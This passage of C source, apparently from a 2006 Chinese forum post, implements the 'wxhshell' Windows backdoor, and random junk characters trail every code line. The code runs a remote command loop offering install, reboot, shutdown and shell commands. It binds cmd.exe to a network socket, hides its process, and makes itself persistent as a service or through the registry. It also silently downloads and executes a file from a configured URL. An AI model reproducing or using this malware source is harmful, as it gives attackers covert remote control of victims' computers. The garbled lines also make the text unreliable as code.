  else { Q m9b:U~  
xG~-.  
    switch(cmd[0]) { $_ $%L0)5  
  #euOq  
  // 帮助 j5Yli6r?3-  
  case '?': { q&ed4{H<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EHe-wC  
    break; fR.raI4et  
  } PmId #2f  
  // 安装 a[^dK-  
  case 'i': { F`Vp   
    if(Install()) 0wBr_b!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Xidv9c  
    else JmF`5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J!rZs kd  
    break; -'W:P'BG  
    } P)TeF1~T  
  // 卸载 $o\U q  
  case 'r': { ^<yM0'0t  
    if(Uninstall()) XSZjuQ<[3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :\#]uDT2=  
    else VyU!r* o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IsL=DV/  
    break; r~;.8qs  
    } .hvn/5s  
  // 显示 wxhshell 所在路径 /9y'UKl7[  
  case 'p': { QL(}k)dB  
    char svExeFile[MAX_PATH]; `).;W  
    strcpy(svExeFile,"\n\r"); 0txSF^x  
      strcat(svExeFile,ExeFile); lSId<v?C>  
        send(wsh,svExeFile,strlen(svExeFile),0); x^F2Ywp%  
    break; mR{%f?B  
    } Q[O U`   
  // 重启 BcGQpv&x  
  case 'b': { qfY=!|O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XeBSHvO_  
    if(Boot(REBOOT)) ;`bJgSCfo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MD:kfPQ  
    else { U|h@Pw z  
    closesocket(wsh); CvTgtZ '  
    ExitThread(0); \v_t: "  
    } 7L:R&W6  
    break; qf] OSd  
    } `|JQ)!Agx  
  // 关机 OaxE3bDT  
  case 'd': { tX *L_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Df/f&;`  
    if(Boot(SHUTDOWN)) Q^V`%+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dR /UXzrc  
    else { sXC]{] P  
    closesocket(wsh); >BQF<  
    ExitThread(0); 4sK|l|W  
    } NU/~E"^I.  
    break; 1[`l`Truz  
    } b_Ky@kp  
  // 获取shell eEe8T=mD  
  case 's': { ]i]sgg[  
    CmdShell(wsh); [76mgj!K  
    closesocket(wsh); f{Y|FjPp=E  
    ExitThread(0); cl7+DAE  
    break; zck |jhJ6  
  } f<'&_*7,|t  
  // 退出 N<Q}4%^c  
  case 'x': { e]X9"sd0=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &(^>}&XS.<  
    CloseIt(wsh); "Lpt@g[HF  
    break; ZCJ8I  
    } v:T` D  
  // 离开 8UL:C?eY  
  case 'q': { .}y Lz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #WpO9[b>  
    closesocket(wsh); A8eli=W  
    WSACleanup(); t@19a6:Co  
    exit(1); nt[0krG  
    break; " Gn; Q-@  
        } yZ)ScB^  
  } =yNHJHRA#  
  } #XY]@V\  
cwC, VYVl  
  // 提示信息 J2[QHr&tn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u]MF r2  
} 2RXGY  
  } et ~gO!1:*  
ta6 WZu  
  return; ;qk~>  
} w./EJk KI  
c`}X2u]k  
// shell模块句柄 zXf+ieo  
int CmdShell(SOCKET sock) O}f(h5!k  
{ @ Q1jH~t  
STARTUPINFO si; jh0$:6 `C  
ZeroMemory(&si,sizeof(si)); nG*6ic  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~D=@4(f8|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dO//  
PROCESS_INFORMATION ProcessInfo; #"yf^*wX  
char cmdline[]="cmd"; 7ER 2 h*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f}'gg  
  return 0; }Voh5*$E`  
} qL+y8*  
(Mm{"J3uv  
// 自身启动模式 A7RX2  
int StartFromService(void) #f~a\}$I  
{ 9G8QzIac  
typedef struct jb![ Lp  
{ i }g xq  
  DWORD ExitStatus; t5Mo'*j =  
  DWORD PebBaseAddress; d$,i?d,  
  DWORD AffinityMask; v(7A=/W_  
  DWORD BasePriority; E6@ ;e-]j  
  ULONG UniqueProcessId; {n{}Y.  
  ULONG InheritedFromUniqueProcessId; dGteYt_F  
}   PROCESS_BASIC_INFORMATION; 3ElpS^ 2W  
l=]vC +mU  
PROCNTQSIP NtQueryInformationProcess; XZ&v3ul  
Yr=mLT|JN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S7q &|nI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "qm>z@K  
">QY'r  
  HANDLE             hProcess; bgK(l d`  
  PROCESS_BASIC_INFORMATION pbi; rpT<cCem1  
N]<gHGj}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XfrnM^oty  
  if(NULL == hInst ) return 0; '> Q$5R1  
U ^9oc&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S+y2eP G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =5M>\vt]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F`Y<(]+   
KUyJ"q<W  
  if (!NtQueryInformationProcess) return 0; YcV~S#b  
h^*{chm]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <"+C<[n.  
  if(!hProcess) return 0; `j![  
K)@}Ok"#\4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WLl9>v^1  
j1kc&(  
  CloseHandle(hProcess); !~l%6Z5  
zNf5OItx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UIj/Id  
if(hProcess==NULL) return 0; dZgfls  
NLGr=*dq  
HMODULE hMod; ^e,RM_.  
char procName[255]; yMkd|1  
unsigned long cbNeeded; `7_LJ \>I  
~&:R\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ECzNByP  
\(FDR  
  CloseHandle(hProcess); _64@zdL+  
-JENY|6  
if(strstr(procName,"services")) return 1; // 以服务启动 @ 1A_eF  
#+PbcL  
  return 0; // 注册表启动 o {LFXNcg[  
} EvmmQ  
1W[(+TZ&s  
// 主模块 Q9>]@DrAx  
int StartWxhshell(LPSTR lpCmdLine) 3@?YTez#  
{ ~Wm}M  
  SOCKET wsl; 5,ahKB8  
BOOL val=TRUE; l7!)#^`2_  
  int port=0; 6{X>9hD  
  struct sockaddr_in door; .A/H+.H;  
}2,#[m M  
  if(wscfg.ws_autoins) Install(); ItPK  
3= zQ U  
port=atoi(lpCmdLine); *KH@u  
eBIR *TZ):  
if(port<=0) port=wscfg.ws_port; CWQ2iu<_0  
Z|% 2495\  
  WSADATA data; Y`?X Fy:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fd&!-` T?  
PZJ 4: h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F:S>\wG,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mm-UQ\h  
  door.sin_family = AF_INET; "\r~,S{:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <SZO- -+lB  
  door.sin_port = htons(port); XSjelA?  
4"x;XVNM[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \Egc5{   
closesocket(wsl); ( v:ek_  
return 1; !F#aodM1N  
} qjzW9yV+  
+|YZEC  
  if(listen(wsl,2) == INVALID_SOCKET) { Q5n : f+  
closesocket(wsl); TF-Ty  
return 1; S{T d/1}  
} lkg*AAR?'  
  Wxhshell(wsl); Z[S+L"0  
  WSACleanup(); hyfnIb@~}  
 r;X0 B  
return 0; 8 {]Gh 0+  
vcO`j<`  
} \N , '+  
T}Vpy`  
// 以NT服务方式启动 }k0-?_Z=1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?}v%JUcs  
{ >TnQ4^;v.  
DWORD   status = 0; |;m`874  
  DWORD   specificError = 0xfffffff; 0DVZRB  
l )*,18n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cievC,3*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Wd56B+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1 3 `0d  
  serviceStatus.dwWin32ExitCode     = 0; yUmsE-W  
  serviceStatus.dwServiceSpecificExitCode = 0; Z WRRh^  
  serviceStatus.dwCheckPoint       = 0; G? gXK W  
  serviceStatus.dwWaitHint       = 0; D *I;|.=u  
/:{_|P\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~uR6z//%  
  if (hServiceStatusHandle==0) return; n,a5LR  
EvqAi/(g  
status = GetLastError(); )QCM2  
  if (status!=NO_ERROR) &_/%2qs  
{ S50x0$%<W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I cR;A\z  
    serviceStatus.dwCheckPoint       = 0; h` h>H X  
    serviceStatus.dwWaitHint       = 0; 66@3$P%1p  
    serviceStatus.dwWin32ExitCode     = status; oA;Ty7s  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^h6$> n5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W({TC  
    return; j-`X_8W  
  } ''OInfd?  
wYO"znd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b}Hl$V(uD  
  serviceStatus.dwCheckPoint       = 0; 1m<?Q&|m$  
  serviceStatus.dwWaitHint       = 0; !H|82:`t+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ryba[Fz4Di  
} 3 E!<p  
"R2t&X[9  
// 处理NT服务事件,比如:启动、停止 DxKfWb5 R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w-H%B`/  
{ V l~Y  
switch(fdwControl) C7 ]DJn  
{ d9-mWz(V+  
case SERVICE_CONTROL_STOP:  Ep\  
  serviceStatus.dwWin32ExitCode = 0; k/_8!^:'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |[owNV>  
  serviceStatus.dwCheckPoint   = 0; r3H}*Wpf  
  serviceStatus.dwWaitHint     = 0; >PJtG]D  
  { {#1j"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2'<=H76  
  } De nt?  
  return; Awa|rIM  
case SERVICE_CONTROL_PAUSE: |v$%V#Bo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \YlF>{LVe  
  break; -M:hlwha  
case SERVICE_CONTROL_CONTINUE: 0i*'N ch#i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w~$c= JO#  
  break; S@}B:}2  
case SERVICE_CONTROL_INTERROGATE: rI<nUy P?  
  break; 5&<d2EG6l'  
}; k)5_1y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _iGU|$a  
} uojh%@.4  
! nCjA\$  
// 标准应用程序主函数 7O+Ij9+{n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v dH+>l  
{ jKj=#O  
sArje(5Eo  
// 获取操作系统版本 t8A kdSU0  
OsIsNt=GetOsVer(); b@wBR9s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C,{F0-D  
xA&  
  // 从命令行安装 S~k 0@  
  if(strpbrk(lpCmdLine,"iI")) Install(); %9QMzz5  
# 5y9L  
  // 下载执行文件 {}g %"mi#  
if(wscfg.ws_downexe) { Z(Eke  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \7,MZt  
  WinExec(wscfg.ws_filenam,SW_HIDE); A-a17}fta  
} coF T2Pq  
% QPWw~}:  
if(!OsIsNt) { BEXQTM3])I  
// 如果时win9x,隐藏进程并且设置为注册表启动 h"u<E\g  
HideProc(); KbwTj*k[  
StartWxhshell(lpCmdLine); kUn2RZ6$#  
} llHc=&y#  
else .Na&I)udX.  
  if(StartFromService()) : F7k{~  
  // 以服务方式启动 NV} RRs  
  StartServiceCtrlDispatcher(DispatchTable); =de<WoKnu2  
else ` URSv,(  
  // 普通方式启动 8"km_[JE e  
  StartWxhshell(lpCmdLine); c$Xe.:QY  
(VYR!(17  
return 0; 9Hf*cQ  
}
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只看该作者 1 发表于: 2006-10-10
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